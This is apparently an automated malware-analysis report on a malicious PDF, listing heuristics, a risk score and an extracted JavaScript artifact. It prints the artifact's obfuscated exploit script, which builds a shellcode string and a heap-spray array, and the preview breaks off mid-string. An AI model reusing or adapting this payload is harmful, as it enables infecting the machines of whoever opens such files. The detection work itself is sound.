MALICIOUS
116
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
The PDF file contains embedded JavaScript, indicated by PDF_JAVASCRIPT and PDF_JS heuristics. The `javascript_obj0007_000.js` artifact is flagged for script obfuscation. The presence of `String.fromCharCode` further suggests obfuscation techniques common in malicious JavaScript. The primary function of this script appears to be downloading and executing a secondary payload, which is a common tactic for initial access or further infection stages.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 4
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JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.Matched line in script
ms6dPKTG7 =882310;for\(s0Swz83B=1; s0Swz83B>2; s0Swz83B++\){ ms6dPKTG7++;} soVK6aD8W\(function\(l,a,z,k,e,d\){e=function\(z\){return\(z<a?'':e\(parseInt\(z/a\)\)\)+\(\(z=z%a\)>35?String.fromCharCode\(z+29\):z.toString\(36\)\)};while\(z--\){if\(k[z]\){l=l.replace\(new RegExp\('\\\\b'+e\(z\)+'\\\\b','g'\),k[z]\)}}return l}\('A J=51.50.53\(\);J=J.54\(/\\\\D/g,""\);56\(J.1A\(0\)=="8"&&J.1A\(1\)<="1"&&J.1A\(2\)<="2"\){1y=1x\("%55%"+"4Z%u"+"2N%2p"+"4Y%q"+"4T%r"+"0%4S"+"%4R%"+"4U%u"+"4V%1m"+"4X%4W"+"30%57"+"c%58"+"%2t%"+"5m%u"+"5l%1c"+"5n%5o"+"5q%5p"+"0%5k"+"%5j%"+"5c%u"+"2N% … ) -
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0007_000.js |
pdf-javascript-stream | PDF /JS object 7 at offset 0x4CA | 8754 bytes |
SHA-256: 1ea90fe01d015a6fa08d27d08ab38c2b2d51af3bf04043c971edf40af677b126 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 3 eval/decoder/string-building token(s).
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Preview scriptFirst 1,000 lines of the extracted script
function soVK6aD8W(juhnm8d9d){ return eval(juhnm8d9d);}
ms6dPKTG7 =882310;for(s0Swz83B=1; s0Swz83B>2; s0Swz83B++){ ms6dPKTG7++;}
soVK6aD8W(function(l,a,z,k,e,d){e=function(z){return(z<a?'':e(parseInt(z/a)))+((z=z%a)>35?String.fromCharCode(z+29):z.toString(36))};while(z--){if(k[z]){l=l.replace(new RegExp('\\b'+e(z)+'\\b','g'),k[z])}}return l}('A J=51.50.53();J=J.54(/\\D/g,"");56(J.1A(0)=="8"&&J.1A(1)<="1"&&J.1A(2)<="2"){1y=1x("%55%"+"4Z%u"+"2N%2p"+"4Y%q"+"4T%r"+"0%4S"+"%4R%"+"4U%u"+"4V%1m"+"4X%4W"+"30%57"+"c%58"+"%2t%"+"5m%u"+"5l%1c"+"5n%5o"+"5q%5p"+"0%5k"+"%5j%"+"5c%u"+"2N%v"+"5b%q"+"2j%5a"+"0%5d"+"%5g%"+"l%u"+"5i%5h"+"4Q%q"+"2j%4P"+"0%4t"+"%I%"+"4s%u"+"2F%v"+"1j%4r"+"68%r"+"0%2G"+"%2D%"+"Q%u"+"4u%16"+"4v%1i"+"4x%r"+"1%2e"+"%1N%"+"4w%u"+"4q%o"+"2s%q"+"p%4p"+"0%1Q"+"%1J%"+"4k%u"+"4j%2k"+"4i%4l"+"2i%4m"+"0%I"+"%1E%"+"1h%u"+"4o%2p"+"4n%2l"+"52%r"+"0%T"+"%1d%"+"4y%u"+"W%v"+"4z%2d"+"26%1g"+"6%l"+"%1f%"+"1f%u"+"4K%2k"+"4J%2l"+"5e%r"+"0%28"+"%I%"+"4L%u"+"1I%v"+"1j%q"+"6a%4M"+"f%1V"+"%T%"+"1d%u"+"4O%o"+"X%4N"+"52%4I"+"5%Q"+"%1B%"+"I%u"+"4H%o"+"4C%23"+"p%4B"+"8%l"+"%2G%"+"2D%u"+"2F%16"+"4A%4D"+"4E%4G"+"2%Q"+"%2e%"+"1N%u"+"4F%1q"+"5r%19"+"6e%r"+"0%5s"+"%1Q%"+"1J%u"+"6k%1c"+"6j%6l"+"6m%6o"+"4%1B"+"%I%"+"1E%u"+"1I%v"+"1j%2d"+"26%1g"+"2%l"+"%T%"+"1d%u"+"6n%o"+"X%6i"+"52%6h"+"f%67"+"%l%"+"1f%u"+"66%1c"+"62%69"+"81%1g"+"e%l"+"%28%"+"I%u"+"6c%o"+"18%23"+"p%6g"+"a%6d"+"%1V%"+"T%u"+"6p%o"+"6q%q"+"p%6B"+"2%6A"+"%Q%"+"6C%u"+"6D%v"+"6F%6E"+"59%6z"+"8%l"+"%l%"+"l%u"+"W%o"+"X%q"+"p%r"+"0%l"+"%2x%"+"6y%u"+"6t%v"+"6s%6r"+"61%4h"+"8%6v"+"%2h%"+"6x%u"+"6w%1r"+"60%5Z"+"72%5D"+"1%2x"+"%5C%"+"5E%u"+"5F%1r"+"5H%5G"+"72%5B"+"3%5A"+"%5v%"+"5u%u"+"5t%27"+"5w%5x"+"89%5z"+"9%5y"+"%5I%"+"5J%u"+"5U%1q"+"5T%5V"+"5W%5Y"+"c%l"+"%5X%"+"1D%u"+"W%29"+"5S%2r"+"2H%2I"+"b%l"+"%2t%"+"5R%u"+"5M%27"+"2J%19"+"1b%r"+"0%5L"+"%5K%"+"l%u"+"5N%5O"+"5Q%q"+"5P%6G"+"0%3L"+"%2T%"+"1h%u"+"38%29"+"34%2r"+"2H%2I"+"b%l"+"%2P%"+"2R%u"+"2S%16"+"2J%19"+"1b%r"+"0%37"+"%36%"+"39%u"+"2U%2n"+"3b%1i"+"2i%33"+"3%2W"+"%2Y%"+"3a%u"+"31%o"+"18%32"+"p%2Z"+"6%2V"+"%2X%"+"3d%u"+"2Q%o"+"18%1W"+"p%3c"+"6%4g"+"%1D%"+"l%u"+"3R%o"+"3Q%q"+"p%r"+"0%l"+"%l%"+"l%u"+"W%o"+"X%1W"+"p%3S"+"5%1h"+"%3T%"+"3U%u"+"3P%3O"+"3J%1i"+"5f%3I"+"b%3K"+"%3e%"+"3N%u"+"3M%v"+"3V%3W"+"52%4b"+"d%4a"+"%4c%"+"4e%u"+"4f%1m"+"48%47"+"6f%3Y"+"e%2h"+"%3X%"+"3Z%u"+"42%1m"+"45%3H"+"p%3G"+"4%3o"+"%3n%"+"3p%u"+"3q%2n"+"2s%3r"+"61%3m"+"8%3l"+"%3g%"+"3f%u"+"3h%3i"+"3k%3j"+"2f%3s"+"9%3t"+"%3C%"+"3B%u"+"3D%1r"+"3E%3F"+"6e%3A"+"c%3z"+"%3v%"+"3u%u"+"3w%1q"+"3x%q"+"35%3y"+"0"+"");A B=1x("%6u"+"a%9K"+"9J"+"");A M=20+1y.O;1Z(B.O<M)B+=B;A 22=B.1X(0,M);A C=B.1X(0,B.O-M);1Z(C.O+M<9L)C=C+C+22;A 2b=9M 9O();24(S=0;S<9N;S++){2b[S]=C+1y}A 2M="9I"+"9H"+"9C"+"j"+"j"+"j"+"j"+"j"+"j"+"j"+"j"+"j"+"j"+"j"+"j"+"j"+"j"+"j"+"j"+"j"+"j"+"j"+"j"+"j"+"j"+"j"+"j"+"j"+"j"+"j"+"j"+"j"+"j"+"j"+"j"+"j"+"j"+"j"+"j"+"j"+"j"+"j"+"88"+"";9B.9D("%9E",2M)}6H{1p="w`s!h`2w|!<!9F!@9P`x)(: 9Q!h`2C|)h`n|-!h`L|(z 1S)h`n|/1u!+!3!=!h`L|(z h`n|!*<!h`n|:| h`n|!<!h`n|/a0)1-!h`L|!.!3(: 9Z!h`n|:| w`s!h`1K|!<!a1: w`s!h`1v|!<!1t`V)#$a2$1l#!*!@$a3$t#!*!#9Y$9X#!*!#$k$9S#!*! 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